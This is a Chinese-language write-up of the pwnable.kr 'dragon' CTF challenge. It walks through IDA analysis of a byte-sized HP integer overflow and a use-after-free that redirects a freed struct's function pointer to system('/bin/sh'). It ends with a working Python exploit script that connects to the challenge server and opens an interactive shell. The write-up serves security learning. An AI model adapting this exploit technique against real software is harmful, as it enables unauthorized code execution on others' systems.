-
-
[原创]pwnable.kr dragon分析
-
2017-5-19 12:53
3764
-
题目地址: http://pwnable.kr/bin/dragon
刚学linux pwn,来做一下题目
首先打开IDA,F5反汇编
看main函数里也没什么东西,直接进入PlayGame
这里要求选择英雄 牧师或骑士
这里选择3很瞩目,去看看
这里明显看到 system("/bin/sh");这句代码 但是要求输入
Nice_Try_But_The_Dragons_Won't_Let_You!才能执行,但是长度限制了,所以这里没戏,不过这里执行了system("/bin/sh"); 若能改变执行流程到这里,就能利用上
接下来进入FightDragon
这里首先申请了两块内存,观察下面的赋值,应该是两个结构,这里还有一个Count的全局变量,在前面的代码中并没有看到有对他赋值的地方,所以值未知,观察下面的判断,确定其作用是随机一个值,若该值为奇数,执行第一个分支,否则第二个分支。
其中和都是函数指针,进去看看有没有关于这两个结构的信息
可以看到这里有一个参数,可以从调用他的地方知道这是怪物数据结构的地址。
根据输出的字符串信息
与前面的赋值
可以推出monster结构,player的也类似 现在构造这两个结构体
然后重命名一下相关变量并设置结构类型
现在主要是看和这两部分
这两个函数就是不同的英雄与龙战斗,选择不同的招数,直到玩家死去或者怪物死去,这里会调用free(monster)并返回是否胜利
可以看到这里
如果胜利了会申请一块内存,输入内容并输出,由于申请大小为0x10与monster大小一致,所以msg与monster执行的内存一致,后面又调用了monster保存的函数指针,这就很明显的uaf漏洞了,然后地址覆盖为system("/bin/sh")的地址即可getshell,然后现在的任务就是要取得胜利
先看看玩家与怪物的初始属性
这里有个坑,无论什么英雄什么怪物什么技能组合都不可能赢,而且玩家死去的优先级更高,坑爹。。。
还好突然灵机一动
怪物的血量是字节型,
胜利的条件是怪物血量<=0,
怪物每次战斗都会回血
看到这里,猜测是整数溢出
这里选择mama dragon血多,容易溢出
然后看到牧师的技能
3是怪物不攻击,2是回蓝,现在只要选择牧师 技能组合为332332332...就行了
最终代码
import socket
import struct
HOST='pwnable.kr'
PORT=9004
def win():
shellcode='3\n'
s.sendall(shellcode.encode('ascii'))
data=s.recv(1024).decode('ascii')
print(data)
data=s.recv(1024).decode('ascii')
print(data)
shellcode='3\n'
s.sendall(shellcode.encode('ascii'))
data=s.recv(1024).decode('ascii')
print(data)
data=s.recv(1024).decode('ascii')
print(data)
shellcode='2\n'
s.sendall(shellcode.encode('ascii'))
data=s.recv(1024).decode('ascii')
print(data)
data=s.recv(1024).decode('ascii')
print(data)
shellcode='3\n'
s.sendall(shellcode.encode('ascii'))
data=s.recv(1024).decode('ascii')
print(data)
data=s.recv(1024).decode('ascii')
print(data)
shellcode='3\n'
s.sendall(shellcode.encode('ascii'))
data=s.recv(1024).decode('ascii')
print(data)
data=s.recv(1024).decode('ascii')
print(data)
shellcode='2\n'
s.sendall(shellcode.encode('ascii'))
data=s.recv(1024).decode('ascii')
print(data)
data=s.recv(1024).decode('ascii')
print(data)
shellcode='3\n'
s.sendall(shellcode.encode('ascii'))
data=s.recv(1024).decode('ascii')
print(data)
data=s.recv(1024).decode('ascii')
print(data)
shellcode='3\n'
s.sendall(shellcode.encode('ascii'))
data=s.recv(1024).decode('ascii')
print(data)
data=s.recv(1024).decode('ascii')
print(data)
shellcode='2\n'
s.sendall(shellcode.encode('ascii'))
data=s.recv(1024).decode('ascii')
print(data)
data=s.recv(1024).decode('ascii')
print(data)
shellcode='3\n'
s.sendall(shellcode.encode('ascii'))
data=s.recv(1024).decode('ascii')
print(data)
data=s.recv(1024).decode('ascii')
print(data)
shellcode='3\n'
s.sendall(shellcode.encode('ascii'))
data=s.recv(1024).decode('ascii')
print(data)
data=s.recv(1024).decode('ascii')
print(data)
shellcode='2\n'
s.sendall(shellcode.encode('ascii'))
data=s.recv(1024).decode('ascii')
print(data)
data=s.recv(1024).decode('ascii')
print(data)
s=socket.socket()
s.connect((HOST,PORT))
data=s.recv(1024).decode('ascii')
print(data)
data=s.recv(1024).decode('ascii')
print(data)
shellcode='1\n' #choice job
s.sendall(shellcode.encode('ascii'))
dragon=s.recv(1024).decode('ascii')
print(dragon)
data=s.recv(1024).decode('ascii')
print(data)
if dragon.find('Baby Dragon')>=0:#Baby Dragon
shellcode='1\n'
s.sendall(shellcode.encode('ascii'))
data=s.recv(1024).decode('ascii')
print(data)
data=s.recv(1024).decode('ascii')
print(data)
shellcode='1\n'
s.sendall(shellcode.encode('ascii'))
data=s.recv(1024).decode('ascii')
print(data)
data=s.recv(1024).decode('ascii')
print(data)
print('mama dragon')
shellcode='1\n' #choice job
s.sendall(shellcode.encode('ascii'))
data=s.recv(1024).decode('ascii')
print(data)
data=s.recv(1024).decode('ascii')
print(data)
win()
else:
print('mama dragon')
win()
ret_addr=0x08048DBF
shellcode=struct.pack("<I",ret_addr)+'win\n'.encode('ascii') #choice job
s.sendall(shellcode)
data=s.recv(1024).decode('ascii')
print(data)
data=s.recv(1024).decode('ascii')
print(data)
while True:
cmd=input('cmd:')
if(cmd=='quit'):
break
cmd=cmd+'\n'
s.sendall(cmd.encode('ascii'))
data=s.recv(10240).decode('ascii')
print(data)
s.close()
阿里云助力开发者!2核2G 3M带宽不限流量!6.18限时价,开
发者可享99元/年,续费同价!